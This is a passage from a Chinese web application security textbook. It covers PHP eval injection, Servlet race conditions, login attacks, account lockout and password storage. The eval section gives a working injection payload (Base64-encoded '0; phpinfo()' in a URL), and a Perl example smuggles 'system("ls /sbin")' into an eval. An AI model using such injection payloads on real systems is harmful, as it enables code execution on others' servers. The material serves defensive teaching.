的方式解码，然后使用 eval\n 还原数据，并通过 var_dum p\n 函数将其显示在页面上 72\n 。通过 eval\n 执行的表达式如下所示。阴影部分为经过 var_export\n 序列化后的字符串，这里将其赋值给了变量 $a\n 。\n$a = array (\n 0 => 1,\n 1 => 2,\n 2 => 3,\n)\n;\n4e-002.php 的执行结果如下图所示，能够看到值被还原了回去。\n图 4-121 示例脚本的执行结果\n攻击手段\n4e-002.php 中没有对外界传入的参数进行校验就将其直接传递给了 eval\n ，因此便存在能够使得外界注入脚本的漏洞。使用下面这种形式，就能够任意添加交由 eval\n 执行的表达式。\n$a = 表达式 ; 任意语句 ;\n这里我们使用以下注入语句。\n$a = 0; phpinfo()\n;\n首先将上面的阴影部分进行 Base64 编码。在 Fiddler 的 Tool 菜单中选 择“Text Encode/Decode”，这时会出现如图 4-122 的对 话框。在上面输入 0; phpinfo()，然后选择左侧的“To Base64”。Base64 编码后的结果会显示在右下方。\n图 4-122 在 Fiddler 中将字符串进行 Base64 编码\n接下来，将编码后的值传给 4e-002.php。URL 和执行结果显示如下。\nhttp://example.jp/4e/4e-002.php?data=MDsgcGhwaW5mbygp\n图 4-123 外界注入的脚本被执行了\n由此可以得知，外界注入的 phpinfo\n 函数被成功执行了。\n而一旦攻击取得成功，PHP 中能够进行的操作就都有可能被用来攻击应用程序。从而就会导致信息被泄漏、数据被篡改、数据库遭到变更、网站被关闭、其他网站受到攻击等各种典型问题。\n72\n 由于 var_dump\n 函数内部不会进行 HTML 转义，因此这部分存在 XSS 漏洞。\n安全隐患的产生原因\nevel\n 能够执行任意的 PHP 脚本代码，可谓是一种极其危险的功能。4e-002.php 中没有校验传给 eval\n 的参数，因此便使得外界成功地执行了任意脚本。\n安全隐患的产生原因能被简单地归纳为如下两点。\n使用 eval\n 本来就是很危险的\n没有校验传给 eval\n 的参数\n除了 eval\n 之外，PHP 中能够解释输入字符串并将其执行的函数还有以下几种。\n表 4-23 PHP 中能够解释输入字符串并执行的函数\n函数名\n解说\ncreate_function()\n动态生成函数\npreg_replace()\n指定 e 修饰符时\nmb_ereg_replace()\n第 4 个参数指定为 'e' 时\n此外，有些函数能够在参数中指定函数名（回调函数），这时如果函数名能够由外界指定，也会产生漏洞。下面列举的例子都属于此类函数。\nPHP 中能够在参数中指定函数名的函数\n`call_user_func()`\n`call_user_func_array()`\n`array_map()`\n`array_walk()`\n`array_filter()`\n`usort()`\n`uksort()`\n对策\n防范 eval 注入漏洞的对策如下。\n不使用 eval\n 或与 eval\n 相当的功能\n避免 eval\n 的参数中包含外界传入的参数\n限制外界传入 eval\n 的参数中只包含字母和数字\n不使用 eval\n首先请考虑是否可以不使用 eval\n 以及与 eval\n 相当的功能。比如，如果是为了序列化，那么除了 eval\n 以外，还有以下函数可供选择。\nimplode/explode\nserialize/unserialize\nimplode\n 函数的参数为数组，通过在各元素之间插入分割字符而将其转换为字符串。explode\n 函数的行为则与之相反。这对组合能够胜任简单的序列化处理。\nserialize\n 的自由度更高，能够序列化对象。但是，unserialize\n 会生成任意的对象，在对象被销毁时被称为析构函数，有时会成为安全隐患产生的原因 73\n 。\n而出于序列化之外的其他目的时，也同样应该调查是否有 eval\n 以外的实现方法。多数情况下，即使不使用 eval\n 及与其相当的功能，也都是能够实现相同处理的。例如，使用 preg_replace_callback\n 来取代附带修饰符 e\n 的 preg_replace\n ，就能有效提高安全性。\n避免 eval 的参数中包含外界传入的参数\n而使用 eval\n 的情况下，只要外界无法指定其参数就同样无法实施攻击。以 4e-002.php 为例，如果使用会话变量取代 hidden 参数来传递值，外界就无法注入脚本，从而也就保证了安全性。\n然而，脚本的注入途径并不局限于 HTTP 请求，通过文件或数据库等途径也同样有可能注入脚本，因此，如果能够通过这些途径注入，那么就不能使用本对策。\n限制外界传入 eval 的参数中只包含字母和数字\n如果能够限制外界传入 eval\n 的参数中只包含字母和数字，那么就杜绝了脚本注入需要用到的符号字符（如分号 ;\n 、逗号 ,\n 和引号等），因此也就能够防止脚本注入。\n参考：Perl 的 eval 代码块形式\nPerl 语言的 eval\n 具有两种形式。分别为 eval\n 后面接表达式的形式，和 eval\n 后面接代码块（Block）的形式。由于后者能够杜绝 eval 注入攻击，因此便能够放心使用。\n首先我们来看如下脚本，该脚本中使用了 eval\n 后面跟表达式这一形式，其中含有 eval 注入漏洞。脚本中使用 eval\n 的目的在于捕捉除以零值时的异常。\neval(\"\\$c = $a / $b;\"); # 除数有可能为零\n根据以上讲解的内容，如果此处将变量 $b\n 指定为如下字符串，就会使 /sbin 目录下的文件一览显示出来。\n$b = '1;system(\"ls /sbin\")';\n而如果像下面的脚本那样采用 eval\n 的代码块形式，就消除了 eval 注入漏洞。\n代码清单 eval 代码块形式的使用示例（摘要）\neval {\n $c = $a / $b; # 除数有可能为零\n};\nif ($@) { # 出错的情况下\n # 错误处理\n}\neval\n 代码块形式之所以不会产生 eval 注入漏洞，是因为代码块内部的代码是固定不变的。\n73\n CakePHP 中就曾经被曝出过这样的漏洞。参考：http://cakephp.jp/modules/newbb/viewtopic.php?viewmode=flat&topic_id=2496&forum=3\n （日文）\n总结\n本节介绍了 eval\n 这类能够将字符串解释为脚本代码并执行的功能中产生的安全隐患。eval\n 的功能很强大，但引发漏洞后的影响也同样是非常巨大的。世界上也有很多语言不提供 eval\n 功能，因此，强烈推荐写代码时不使用 eval\n 。\n继续深入学习\n寺田健的博客文章《通过 preg_replace\n 执行代码》[2]，详细讲述了附带修饰符 e\n 的 preg_replace\n 可能产生的漏洞。其中的内容非常有深度，据此还能够学到使用正则表达式来注入脚本等宝贵知识。\nGIJOE 所著的《PHP 网络攻击方法》[1] 中也介绍了使用 preg_replace\n 来进行攻击的例子。其中还提到了因误用 WordPress 中的 call_user_func_array\n 而导致漏洞的相关内容。\n参考文献\n写作本节时参考了以下资料。\n[1] GIJOE .（2005）.《PHP サイバーテロ》（《PHP 网络攻击方法》）. ソシム .\n[2] 寺田健 .（2008 年 6 月 6 日）. preg_replace によるコード実行（通过 preg_replace 执行代码）. 参考日期：2010 年 12 月 19 日 , 参考网址：T.Terada の日記 : http://d.hatena.ne.jp/teracc/20080606\n[3] 小邨孝明 .（2004 年 10 月 11 日）. PHP と Web アプリケーションのセキュリティについてのメモ（关于 PHP 与 Web 应用安全的笔记）. 参考日期：2010 年 12 月 19 日，参考网址：個人的なメモと備忘録 : http://www.asahi-net.or.jp/~wv7y-kmr/memo/php_security.html\n4.15 共享资源相关的问题\n由于 Web 应用能同时处理多个请求，因此会在并行处理中出现问题，特别是当操作涉及共享资源时，问题发生的几率尤大。而本节就将讲述因对共享资源的处理不完善而导致的代表性的安全隐患——竞态条件（Race Condition）漏洞。\n4.15.1 竞态条件漏洞\n概要\n共享资源是指，被多个进程或线程同时使用的变量、共享内存、文件、数据库等。如果针对共享资源的互斥锁不完善，就可能会导致竞态条件漏洞。\n竞态条件漏洞的影响很多，其中，应用中由竞态条件问题而引起的典型的影响有以下几种。\n页面上显示其他用户的个人信息（他人问题）\n数据库信息不一致\n文件内容被破坏\n竞态条件漏洞的对策有如下两项，实施其中一项即可。\n尽量不使用共享资源\n针对共享资源实施完善的互斥锁\n竞态条件漏洞总览\n攻击手段与影响\n接下来我们就来看一下竞态条件漏洞引起问题的流程及其影响。此处介绍的案例都是突发性事件，而非蓄意攻击。示例应用由 Java Servlet 编写而成。本书的试验环境的虚拟机中没有准备 Servlet 的运行环境，如果想运行该示例可以安装 Tomcat 等 Servlet 容器。笔者已确认该示例在 Tomcat6.0 中运行正常。\nServlet 的源码如下。\n代码清单 C4f-001.java\nimport java.io.*;\nimport javax.servlet.http.*;\npublic class C4f_001 extends HttpServlet {\n String name; // 定义为实例变量\n protected void doGet(HttpServletRequest req,\n HttpServletResponse res)\n throws IOException {\n PrintWriter out = res.getWriter();\n out.print(\"<body>name=\");\n try {\n name = req.getParameter(\"name\"); // 查询字符串 name\n Thread.sleep(3000); // 等待 3 秒（模拟耗时的处理）\n out.print(escapeHTML(name)); // 显示用户名\n } catch (InterruptedException e) {\n out.println(e);\n }\n out.println(\"</body>\");\n out.close();\n }\n}\n该 Servlet 从查询字符串中接收了 name\n 的值并将其赋值给实例变量 name\n ，等待 3 秒钟后，再在页面上显示实例变量 name\n 。等待 3 秒钟是为了模拟耗时很长的处理。escapeHTML\n 函数的作用在于防范 XSS（此处省略了该函数的定义）。\n接下来，我们使用以下方法执行该 Servlet。打开两个浏览器窗口，在一个窗口中先使用 name=yamada\n 打开页面。1 秒钟后，再在另一个窗口中使用 name=tanaka\n 打开页面。\n浏览器的显示如下图所示。\n图 4-124 执行示例应用\n虽然两边都是要将查询字符串中指定的名字显示在页面上，但两个浏览器上都显示了 tanaka 这个名字。这种现象被称为他人问题。显示的不是自己输入的个人信息，而是其他人的信息，这也是一种个人信息的泄漏。\n为了理解这个问题，首先要知道 Servlet 类的实例变量是共享资源。默认设置下，每个 Servlet 类只生成一个实例（对象），所有的请求都由这个唯一的实例来处理。因此，实例变量也只有一个，所有的请求处理都共享这个变量（即共享资源）。\n下面我们将 yamada 和 tanaka 的处理以时间轴的形式进行整理，如下图所示。\n图 4-125 示例的内部处理\n首先，yamada 的处理被启动，变量 name\n 被赋值为 \"yamada\"\n 。1 秒钟后，tanaka 的处理也开始进行，变量 name\n 的值被覆盖为 \"tanaka\"\n 。由于此后也一直为 \"tanaka\"\n ，因此两个浏览器中都显示了 \"tanaka\"\n 这个名字。\n安全隐患的产生原因\n安全隐患的产生原因有如下两点。\nname\n 是共享变量\n没有对共享变量 name\n 加上互斥锁\n如果没有意识到 Servlet 类的实例变量是共享资源，那么就很可能会在不知不觉中埋下隐患。\n对策\n竞态条件漏洞的对策有如下两项，实施其中一项即可。\n尽量不使用共享资源\n针对共享资源实施完善的互斥锁\n下面我们来看看如何对上面的示例实施防范策略。\n避免使用共享资源\n其实上面的示例根本没有必要使用共享资源的变量 name\n ，使用非共享的局部变量就能解决问题。下面为修改后的代码摘要。\ntry {\n String name = req.getParameter(\"name\"); // 定义为局部变量\n Thread.sleep(3000); // 等待 3 秒（模拟耗时的处理）\n out.print(escapeHTML(name)); // 显示用户名\n} catch (InterruptedException e) {\n out.println(e);\n}\n使用互斥锁\nJava 的多线程处理中可以使用 synchronized\n 语句或 synchronized\n 方法来进行互斥锁。下面展示的就是使用 synchronized\n 语句来进行互斥锁的例子（摘要）。\ntry {\n synchronized(this) { // 互斥锁\n name = req.getParameter(\"name\");\n Thread.sleep(3000); // 等待 3 秒（模拟耗时的处理）\n out.print(escapeHTML(name)); // 显示用户名\n }\n} catch (InterruptedException e) {\n out.println(e);\n}\n第 2 行中的 synchronized(this)\n 的意思就是给 Servlet 的实例加上互斥锁。加上了 synchronized\n 语句后，该 Servlet 的 synchronized\n 代码块内便只允许一个线程执行。也就是说，赋值给变量 name\n 后就不会再被其他线程改写了。\n这里我们将此时各请求的处理依然以时间轴的形式进行整理，如下图所示。\n图 4-126 加上互斥锁后的内部处理\n由上图可知，在进行 \"yamada\"\n 的处理时，\"tanaka\"\n 的处理暂时停止并处于待机状态。\n这会造成应用程序的性能底下。如果对这个 Servlet 同时发出多个请求，那么就会出现需等待请求数 ×3 秒的时间，因此也就很容易招致妨害 Servlet 的攻击（DoS 漏洞）。\n鉴于这种情况，建议大家尽量不要使用互斥锁，也就是说不要使用共享资源。如果非用不可，就应当在设计上多下功夫，使互斥锁的耗时尽可能短一些。详情请参考并行处理或多线程编程的参考书。\n总结\n本节讲述了因对共享资源的互斥锁处理不完善而造成的问题。常见的互斥锁的形式为数据库中的锁（乐观锁和悲观锁），除此之外，在共享变量或文件时也需要用到互斥锁。\n尽量不使用共享资源也能够提高应用的性能，而如果用到了共享资源，就需要在设计中下工夫以将互斥锁的处理时间压缩至最短。\n参考：Java Servlet 的其他注意点\nServlet 的实例变量也能够像下面这样在 JSP 中定义。\n<%! String name; %>\n由于使用这种方式定义的变量也是在各请求间共享的，因此也需要加上互斥锁。但考虑到通常情况下并没有必要在 JSP 中定义实例变量，因此不推荐使用这种方法。\n另外，由于实现 SingleThreadModel\n 接口的 Servlet 类能够保证在单线程下运作，因此可以不对 Servler 的实例变量上锁。虽然以前有时也会使用这种方法作为对策，但是在 Servlet2.4 版本以后，随着 SingleThreadModel\n 接口被弃用（Deprecated）74\n ，今后也就不再推荐使用这种方法了。\n74\n SingleThreadModel 的文档：http://docs.oracle.com/javaee/1.4/api/javax/servlet/SingleThreadModel.html\n （英语）。\n第 5 章 典型安全功能\n本书中把应用程序里用来加强系统安全程度的功能称为安全功能。如果由于安全功能里面存在的设计不足，而导致系统安全性不够强的话，虽然这不能算作狭义上的安全隐患，但也会使系统存在被外界攻击的风险。与之相反，如果在安全功能上下足功夫的话，则可以防止由于用户不小心或者错误操作等导致的意外，从而提高系统的安全性。作为典型的安全功能，本章将会涉及以下内容，详述系统会受到什么样的潜在威胁，以及针对这些威胁应该在设计上采取何种对策。\n认证（Authentication）\n授权（Authorization）\n账号管理\n日志（Log）管理\n5.1 认证\n认证是指通过某些方法验证系统用户身份的行为。Web 应用程序里使用的认证方法除了在第 3 章里已经介绍过的 HTTP 认证之外，还有使用 HTML Form 的用户名和密码的认证方式，以及利用客户端的 SSL 证书的认证方式等。本书将主要针对 HTML Form 认证进行说明。\n这一节将从以下几个方面来说明当认证功能存在漏洞时将会面临的威胁以及可以采取的对策：\n登录（Login）功能\n针对暴力破解攻击的对策\n密码的保存方式\n自动登录\n登录表单（Form）\n错误消息\n退出登录功能\n5.1.1 登录功能\n用户登录功能可以称为是认证处理中的核心，即通过对照用户输入的 ID、密码是否和数据库一致，若信息一致即认证成功。本书中把这种用户本人合法性验证的功能称为登录功能。\n登录功能通常是通过执行类似下面的 SQL 语句，从数据库中检索满足用户 ID 和密码条件的记录，如果找到了相应的用户记录，就可以认为是登录成功了。\nSELECT * FROM usermaster WHERE id=? AND password=?\n针对登录功能的攻击\n如果攻击者成功攻破了登录功能，就可以伪装成正常用户使用系统了。本书中将把这种攻击称为非法登录。认证功能的攻击有如下几种比较典型的案例。\n通过 SQL 注入攻击来跳过登录功能\n如果登录页面存在 SQL 注入漏洞，攻击者即使不知道用户的密码，也可以利用漏洞，跳过登录功能从而成功登录。关于 SQL 注入的内容在 4.4.1 节已经介绍过了，本章不会再进行更深入的讨论。\n通过 SQL 注入攻击获取用户密码\n同样，如果应用中存在 SQL 注入漏洞，则保存在数据库中的用户 ID 或者密码有可能被盗取。攻击者一旦拿到了这些用户的 ID 和密码，就可能冒充用户登录。\n不过即使攻击者利用 SQL 注入漏洞盗取了用户的密码，我们也有办法让攻击者无法利用这些数据进行攻击。具体对策我们将在 5.1.3 节中说明。\n在登录页面进行暴力破解\n还有一种攻击方法是在登录页面不断地尝试使用各种用户 ID 和密码的组合来进行登录，具体方法包括暴力破解和字典破解等。\n暴力破解（Brute Force Attack）使用的方法是利用所有的字符组合作为密码来进行尝试。\n字典破解是事先准备一个“字典”，其中都是常被用户作为密码使用的字符组合，然后按顺序尝试字典里保存的密码组合（见图 5-1）。\n图 5-1 反复尝试各种用户 ID 和密码组合进行攻击\n不管利用上面哪种攻击方法，都需要尝试大量的用户 ID 或者密码组合，所以我们可以在登录功能中检测这种攻击并采取相应的预防措施，具体内容将会在 5.1.2 节中详细说明。\n通过社会化攻击得到用户密码\n社会化攻击（也称为社会化工程攻击，Social Hacking），指的是并不对计算机或者软件发起攻击，而是通过对欺骗用户，获取重要信息的攻击方法。典型的方法比如冒充领导或者服务器管理员给用户打电话，欺骗用户说“由于某项业务需要，请告知密码”，从而骗取用户的密码的行为。\n此外，还有一种攻击方法是通过偷窥用户在输入密码时的页面或者键盘敲打来盗取密码，叫作 Shoulder Hack，这也是社会化攻击的一种。\nShoulder Hack 如果从字面意思来看的话有从用户背后探头窥视的意思，但是实际上即使不用伸出头，如果采用其他方法能窥视到的话，也能得到用户的密码。在本书中，我们将把通过偷窥得到用户密码的攻击行为统一称为 Shoulder Hack。应对 Shoulder Hack 攻击，可以采取遮盖密码输入框等方法，详细的内容请参考 5.1.5 节。\n从 Web 应用程序本身来说，对于 Shoulder Hack 以外的其他社会化攻击就显得无能为力了。我们可以通过对员工、用户进行教育强化的方法来应对攻击，但这超出了本书的范围，就不在这里详述了。\n通过钓鱼方法获取密码\n钓鱼（Phishing）是指通过搭建和真实网站非常相像的山寨网站，诱骗用户输入密码等来获取个人信息的方法。这也是社会化工程（Social Engineering）的一种。在国外，频繁报道了大规模的钓鱼事件，在日本也报道过用户在山寨 Yahoo!JAPAN 和银行等钓鱼网站上受骗的案例。\n预防钓鱼本首先是用户需要提高警惕，同时作为 Web 网站也应采取相应对策，我们将在 7.2 节里说明。\n登录功能被破解后的影响\n如果攻击者攻破了 Web 应用程序以他人名义非法登录，那么攻击者就拥有并且可使用用户的所有权限，比如阅读信息、修改、删除以及购物、转账、发帖等。\n非法登录带来的破坏性与会话劫持是一样的，如果密码被攻击者知道了，有一些需要密码再次输入确认的功能都能被攻击者恶意使用（会话劫持则不能达到此目的）。\n另外，会话劫持攻击一般都是被动攻击，攻击时需要用户发起某些活动，攻击者才能参与进来。而非法登录是一种主动攻击，不需要用户的参与。因此非法登录会对更多的用户产生影响。\n综上所述，非法登录的影响比远超于会话劫持，属于重大安全隐患，需要制定万全的对策。\n如何防止非法登录\n在使用表单认证（或者叫密码认证）的应用里，为了防止非法登录，需要做到以下两点。\n确保系统不存在 SQL 注入等安全性 Bug\n使用难以猜测的密码\n下面依次对这两点进行说明。\n确保系统中不存在 SQL 注入等安全性 Bug\n用户登录功能容易存在的安全隐患有以下几种 1\n ：\n（A）SQL 注入（4.4.1 节）\n（B）固定会话 ID（4.6.4 节）\n（C）Cookie 的安全属性设置不完善（4.8.2 节）\n（D）自由重定向漏洞（4.7.1 节）\n（E）HTTP 消息头注入（4.7.2 节）\n（A）的 SQL 注入漏洞之所以容易发生，是因为在一般的用户登录实现中都需要利用 SQL 在数据库中进行用户名密码比对。\n（B）和（C）是用户登录认证后，在 Cookie 里保存会话 ID 时存在安全问题时所带来的安全隐患。\n（D）和（E）虽然和用户认证没有直接关系，但是用户登录后，多数应用需要跳转到登录前的页面，结果导致登录功能经常出现此类安全隐患。\n下面介绍一下有关密码预测难度的问题。\n设置难以猜测的密码\n密码认证的前提是“知道此密码的人只有合法用户”。基于这个前提，可以判断“只要某个人知道了密码，即可认为他就是合法用户”，但是如果其他人可以推测出此密码，那这个前提就不存在了。\n所以，最基本的是我们需要确保用户的密码不能被其他人猜测到。比如在 4.6 节里提到的那样，如果使用类似密码学级别的伪随机数生成器的话，基本可以生成不能被猜测到的密码。\n但是密码是需要用户自己输入的，程序生成的随机密码不容易记住，输入也很麻烦，所以实际上用户更多的是选择即好记也方便输入的字符串作为密码。\n一般来说，用户使用便捷性（好记、输入方便）和系统安全强度（猜测的困难程度）如图 5-2 那样成反比关系。如果用户能在选择密码时能深思熟虑的话，应该可以选出密码安全度高，又能兼顾到用户使用方便性的密码。\n图 5-2 密码的使用便捷性和安全强度的关系\n密码的字符种类和长度要求\n在设置一个不易被他人猜到的密码时，最基本的要素就是密码所使用的字符种类以及密码的长度。因为字符种类和密码长度决定了可以作为密码使用的字符串的总数量。\n密码组合总数 = 字符种类的总数 ^ 密码位数\n这里“^”是幂乘运算符。字符种类的数量指的是可以使用的字符的总数量，比如只用数字就是 10，只用小写英文字母就是 26 个等。表 5-1 显示的是根据可使用的字符种类及密码长度得到的各种可能的密码组合的总数。\n表 5-1 密码总数\n字符种类数量\n4 位\n6 位\n8 位\n10 种（数字）\n1 万\n100 万\n1 亿\n26 种（小写英文字母）\n约 46 万\n约 3 亿\n约 2000 亿\n62 种（大小写英文加数字）\n约 1500 万\n约 570 亿\n约 220 兆\n94 种（字母、数字加上各种符号）\n约 7800 万\n约 6900 亿\n约 6100 兆\n从上面的表中可以看出，字符种类和密码位数即使只是稍微增加某一项的值，密码组合的总数都将会大幅增加。\n密码的使用现状\n然而现实中用户使用的密码并没有表 5-1 说明的那样多，其原因就是用户更愿意使用好记和好输入的密码。也就是说，用户更倾向于使用如图 5-2 中右下角所显示的密码类型。\n媒体已经报道了很多能佐证这种倾向的统计数据，我们介绍其中的一些报道 2\n 。下面的报告都是基于非法获取的用户密码数据作出的统计分析。\nRockYou 被盗的 3200 万个密码分析：使用最多的密码是“123456”\nhttp://jp.techcrunch.com/archives/20100121depressing-analysis-of-rockyou-hacked-passwords/\n从被泄露的 Htomail 密码中分析得出，使用的最多的是“123456”\nhttp://journal.mycom.co.jp/news/2009/10/08/022/index.html\n通过 MySpace 钓鱼网站收集到的密码中用的最多的是“password1”\nhttps://itpro.nikkebp.co.jp/article/USNEWS/20061218/257183\n通过这些报告我们很容易看出用户在满足密码限制条件的前提下，更愿意使用简单的密码。估计在密码限制条件为“长度在 10 个字符以上，大写字母、小写字母、数字和符号至少包含一个以上”的网站里，用户使用最多的密码就是“Password1!”吧。\n在这种密码使用情况下，如何让用户设置更安全的密码，这正是网站运营方需要彰显智慧的地方。\n应用程序设计中关于密码的需求\n这一节我们将整理一下在应用程序设计中需要考虑的和密码相关的需求问题。\n设置安全密码的最终责任在于用户本人，对应用程序来说最低需求是“不能妨碍用户选择安全的密码”。换句话说，就是不要超出实际需求，设置过于严格的字符种类和密码位数的限制。\n应用程序关于密码中使用的字符种类和长度要满足最低需求，典型的有下面一些组合：\n字符种类：英文字母和数字组合（区分大小写）\n位数：最多可输入 8 个字符\n但是有人可能觉得上面的限制太局限了，实际上我们也没有必要必须采用这样严格的限制，所以可以考虑下面的组合：\n字符种类：所有 ASCII 字符（0x20～0x7E）\n位数：128 位以内\n如果放宽密码的字符种类和位数的限制，那么用户可能不只是使用简单的密码，还可能会使用密码短语（Passphrase）。密码短语取代简单的单词，使用若干的词组（Phrase）组成比较长的短句作为密码使用。\n以上我们所说明的内容，是对密码的“容器”的要求。即应用程序准备了一个大的容器（即可使用的字符种类和密码位数），用户自己负责，自由地选择自己的密码。但是，现实中广泛使用的密码很多都是比较容易猜测和攻破的密码，因此越来越多的网站除了限制密码使用的字符和位数外，还对具体的密码内容进行检查、核对。\n严格的密码检查原则\n为了预防用户密码被攻击，Web 应用应该积极采取密码检查功能。其基本原则，有以下几种：\n关于字符种类的检查（比如字母、数字、符号至少各一个）\n关于密码位数（比如至少 8 位以上）\n禁止使用和用户 ID 一样的密码\n禁止使用密码词典里有的词汇做密码\nTwitter 就使用了基于密码字典的密码可用性检查，比如图 5-3 是 Twitter 用户修改密码的页面 3\n ，在新密码输入框里面输入“password”后的截图。\n图 5-3 Twitter 修改密码界面\n页面里显示了“密码过于简单”的错误信息，这时如果坚持点击“修改”按钮的话，则会出错。\n也许这样的检查有点过于严格，甚至引起人们质疑其违反了“密码选择是用户的责任”这一原则，但是反过来说这一措施有效避免了用户使用过于简单的密码。\n1\n 当然，这句话的意思并不是说系统就不存在其他安全隐患。\n2\n 这些报道都是笔者在 2010 年 10 月 20 日查阅过的。\n3\nhttps://twitter.com/settings/password\n5.1.2 针对暴力破解攻击的对策\n针对在线暴力破解攻击，账号锁定是一种有效的对抗方式。我们身边账号锁定最常见的例子就是银行卡，如果交易时连续 3 次输入错误密码，卡片就会被冻结。这样可以有效地防止银行卡被盗或者被别人捡到后非法使用。账号密码也一样，如果输错密码超过了一定次数，该账号也应该被锁定。\n初步认识账号锁定\n在 Web 应用程序里基本的账号锁定功能可以这样来实现：\n记录每个用户 ID 的密码连续错误次数\n如果密码错误次数超过了一定上限，则锁定此账号 ；被锁定的账号不能再次登录\n账号被锁定后，通过邮件等方式通知该用户和系统管理员\n用户正常登录后，清除之前记录的密码错误计数器\n如果和 ATM 一样，最多只允许用户输入 3 次错误密码，可能有点太少，会导致用户账号频繁被锁定。所以这个次数设为 10 次比较合适 4\n4\n 在面向信用卡加盟商的安全标准 PCI DSS 2.0（https://zh.pcisecuritystandards.org/minisite/en/pci-dss-supporting-docs-v20.php\n ）7.5.13 节规定了“在尝试 6 次后锁定用户，阻止用户反复尝试访问”。像 PCI DSS 一样，如果系统需要遵守的标准明确规定了账号锁定策略的话，我们需要按照该策略规定去实现。\n另外，如何给被锁定的账号解除锁定，可以参考下面的规则：\n账号被锁定后 30 分钟 5\n ，自动给该用户解锁\n管理员利用某些方法对用户进行验证后给该用户解锁\n5\n 在 PCI DSS 2.0 标准里也规定为 30 分钟（7.5.14）。\n之所以选择 30 分钟后给用户解锁，为的就是能让正常用户能尽早登录进来。也许有人会觉得 30 分钟有点太过短暂，但实际上 30 分钟是比较合理有效的。\n尝试 10 次输入密码错误后再经过 30 分钟等待解锁，这样攻击者为了验证 100 个密码需要四个半小时以上的时间，而且还会给系统管理员发送 10 次账号被锁定的系统通知。在这段时间里，管理员可以详细调查用户被锁定的情况，且根据需要，甚至可以封掉攻击来源的 IP。\n暴力破解攻击的检测和对策\n目前暴力破解攻击的变种有以下几种攻击方法。\n字典攻击\n字典攻击不是尝试所有理论上可能的密码组合，而是只选取使用频率较高的密码按顺序进行尝试。由于现实中很多人在使用比较简单且危险的密码，所以这个方法比单纯的暴力破解效率更高。\n和暴力破解一样，针对字典攻击采用账号锁定是比较有效的。\n图 5-4 字典攻击的例子\nJoe 账号检索\n用户 ID 和密码相同的账号称为 Joe 账号（Joe account），如果在应用程序里不禁止这种用户 / 密码组合，那么系统里就可能存在一定比例的 Joe 账号。Joe 账号检索的例子可以参考图 5-5。\n单纯的账号锁定不能解决 Joe 账户检索攻击，具体对策将在后面进行讲解。\n图 5-5 Joe 账号检索的例子\n逆向暴力破解\n通常的暴力破解是针对固定的用户 ID，采用不同的密码尝试登录。与此相反，逆向暴力破解（Reverse Brute Force Attack）则是固定密码，轮换不同的用户 ID 组合进行尝试。图 5-6 是使用固定密码“password1”进行逆向暴力破解的例子。\n针对逆向暴力破解，账号锁定对策也无能为力。关于其对策我们会在下面一节进行说明。\n图 5-6 逆向暴力破解的例子\n针对变种暴力破解的对策\n在 Joe 账号攻击和逆向暴力破解攻击面前，单纯的账号锁定功能没有效果。但是，对这种攻击必须要采取相应对策。\n比如，通过统计 MySpace 的密码后发现，用户使用最多的密码是 password1，占统计对象总数的 0.22%。这个数字看起来很小，但是如果用 password1 做密码进行逆向暴力破解的话，尝试 1000 个用户平均就能成功登录 2 次。这种攻击的成功率是非常高的 6\n 。\n所以，必须要对这种攻击采取必要的措施。但是就现实情况来说，还没有什么特别有效的对策。下面列出一些辅助措施。\n严格检查密码\n前面我们已经说明过了，在用户注册时根据字典检查用户输入的密码，如果密码是很多用户常用的密码，或者密码和用户 ID 一样，就拒绝用户注册。这样就能完全杜绝 Joe 账号问题了。另外，即使攻击者使用逆向暴力破解，由于其采用的密码都是平常被大量使用的密码，而如果这样的密码在系统中被禁用的话，攻击者的成功率也会大大降低。\n隐藏登录 ID\n这种方法是指系统中除了保存对外公开的昵称之外，还另外保存非公开的用于登录的用户 ID。具体例子包括将用户的电子邮箱地址作为登录 ID。SNS 巨头 mixi 或 GREE、facebook、MySpace、EC 巨头 Amazon 等，都使用电子邮件作为用户的登录 ID7\n 。另一方面，Twitter 除了支持使用电子邮件登录之外，也支持用公开的用户 ID 登录。所以 Twitter 不能有效地预防逆向暴力破解。\n使用电子邮件作为登录 ID 时，需要考虑到用户变更邮箱地址的需求，所以最好在内部保存一个唯一的 ID 来标识一个用户。\n监视登录失败率\n发生密码暴力破解攻击时，登录失败率（单位时间内登录失败次数 ÷ 尝试登录总次数）一般都会激增。所以如果定时检测登录失败率，管理员就可以在失败率激增的时候调查其原因。如果是遇到攻击了，管理员可以通过封掉远程 IP 地址等必要的措施进行处理，这也是一种有效对策。\n各种对策方法的比较\n下面总结一下到目前为止讲过的各种对策的优缺点。\n表 5-2 解决变种暴力破解攻击的各种对策的优缺点\n优点\n缺点\n严格检查密码\n实现、部署简单\n需要花费精力去创建和维护密码字典 / 不能算作完美的对策\n隐藏登录 ID\n实现、部署简单\n已有的应用需要变更服务设计，实现起来有一定难度。\n监视登录失败率\n对所有密码攻击都有效果\n需要有监视人员，运行成本较高 / 有可能不能做到即时响应。\n上面所列举的这些措施能有效地提高系统的安全性，但不一定能有效应对其漏洞。在项目规划阶段，需要综合网站性质、对安全性的要求、项目成本等方面综合考虑，再决定是否需要实施这些对策。\n6\n 也许会有人觉得这种攻击很简单，且成功率很高，所以也想尝试一下，但是即使不是出于恶意，只要拿着别人的账号密码登录了，就是触犯法律的行为，请不要在非实验环境做这样的测试。\n7\n 不确定是否考虑到安全上的问题才这样设计。\n5.1.3 密码保存方法\n在这一节里，我们将讲解为什么需要在保存密码时对其进行加密保护，以及可以采用的具体方法等。\n保护密码的必要性\n如果由于某些原因导致用户密码泄露，那么就有可能导致用户密码被恶意使用，从而给用户造成损失。一旦密码泄露，很可能导致其他机密信息也泄露出去，甚至会导致信息泄露之外的损失。\n利用该用户权限进行购物、转账等\n利用该用户权限进行信息发布、篡改、删除\n如果用户在多个网站使用同一密码的话，损失也会波及到其他网站\n因此，为了防止网站因为 SQL 注入漏洞等导致数据库信息泄露时不让攻击者能恶意使用保存在数据库中的密码，就需要对密码采取保护措施。\n典型的密码保护方法包括加密和信息摘要（Message Digest）（也称密码学级别的散列值，Cryptographic Hash）\n下面将讲解安全的密码保存方法。\n利用加密方式进行密码保护及其注意事项\n一般来说用来开发 Web 应用的编程语言都会提供用来加密的库，密码的加密、解密从编码学的角度来说都不是什么困难的事情。但是，实际进行加密的时候，有以下几个问题需要考虑。\n选择安全的加密算法\n如何生成 key\n如何管理 key\n加密算法退化（Compromise）后的再次加密 8\n8\n 加密算法的退化是指加密算法被破解，或者随着计算机性能的提升，暴力破解等变得更容易实现等情况。这里所说的再加次加密是指先用之前已经退化的算法进行解密，再使用新的安全的加密算法进行加密。\n这其中最难的问题是 key 